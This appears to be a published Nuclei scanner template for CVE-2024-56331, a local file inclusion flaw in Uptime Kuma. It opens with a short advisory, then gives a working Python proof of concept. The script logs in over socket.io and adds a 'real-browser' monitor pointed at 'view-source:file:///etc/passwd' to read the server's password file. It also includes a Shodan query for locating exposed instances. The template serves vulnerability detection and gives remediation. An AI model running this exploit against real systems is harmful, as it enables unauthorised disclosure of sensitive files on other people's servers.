Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
of local sensitive files, because the user input is not validated by the server.
PoC代码[已公开]
id: CVE-2024-56331
info:
name: Uptime-Kuma - Local File Inclusion (LFI)
author: hyni03
severity: critical
description: |
Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
of local sensitive files, because the user input is not validated by the server.
impact: |
An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging
the "real-browser" feature, leading to potential information disclosure of sensitive system files.
remediation: |
This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56331
- https://github.com/griisemine/CVE-2024-56331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.41406
epss-percentile: 0.97323
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
product: uptime-kuma
vendor: uptime-kuma
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
variables:
username: "{{username}}"
password: "{{password}}"
HOST: "{{Hostname}}"
code:
- engine:
- py
- python3 # Requires python installation on the system
source: |
import os
import time
try:
import socketio
except ImportError:
raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.")
# Load environment variables
USER = os.getenv('username')
PASS = os.getenv('password')
HOST = os.getenv('HOST')
PORT = os.getenv('PORT')
# Configuration settings
CONFIG = {
"server_url": f"ws://{HOST}",
"credentials": {"username": USER, "password": PASS},
"request_types": {"real_browser": "real-browser", "http": "http"},
"url_prefix": {"view_source": "view-source:file://", "file": "file://"}
}
TARGET_FILES = ["/etc/passwd"]
client = socketio.Client()
def connect_to_server(url, retries=3, delay=2):
for attempt in range(retries):
try:
client.connect(url, wait_timeout=10)
print(f"[+] Connected to: {url}")
return True
except Exception as e:
print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}")
time.sleep(delay)
return False
try:
if not connect_to_server(CONFIG["server_url"]):
print("[!] Unable to connect to the server. Exiting.")
exit(1)
# Attempt login
login_resp = client.call("login", {
"username": CONFIG["credentials"]["username"],
"password": CONFIG["credentials"]["password"]
}, timeout=10)
if login_resp and login_resp.get("ok"):
print("[+] Login successful")
# Process each sensitive file request
for file_path in TARGET_FILES:
req_type = CONFIG["request_types"]["real_browser"]
# Use view-source prefix in real-browser mode
url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"]
target_url = f"{url_prefix}{file_path}"
print(f"[~] Sending {req_type} request for: {target_url}")
add_payload = {
"type": req_type,
"name": f"{req_type} request for {file_path}",
"url": target_url,
"method": "GET",
"maxretries": 0,
"timeout": 500,
"ignoreTls": True,
"accepted_statuscodes": ["200-299"],
"conditions": "[]"
}
response = client.call("add", add_payload, timeout=15)
print(f"[+] Response for {file_path}: {response}")
else:
print("[!] Login failed. Please check credentials.")
except Exception as err:
print(f"[!] An error occurred during execution: {err}")
finally:
client.disconnect()
print("[*] Disconnected from the server")
matchers:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 490a00463044022030237c060f1ffa3755a41ddd45e9748cd5ae4ce6d58218bc0d66b1d2f1875cac02200167daec5424dab9629da87af62214becf5d90aec43a38d336771366cd5e1abc:922c64590222798bb761d5b6d8e72950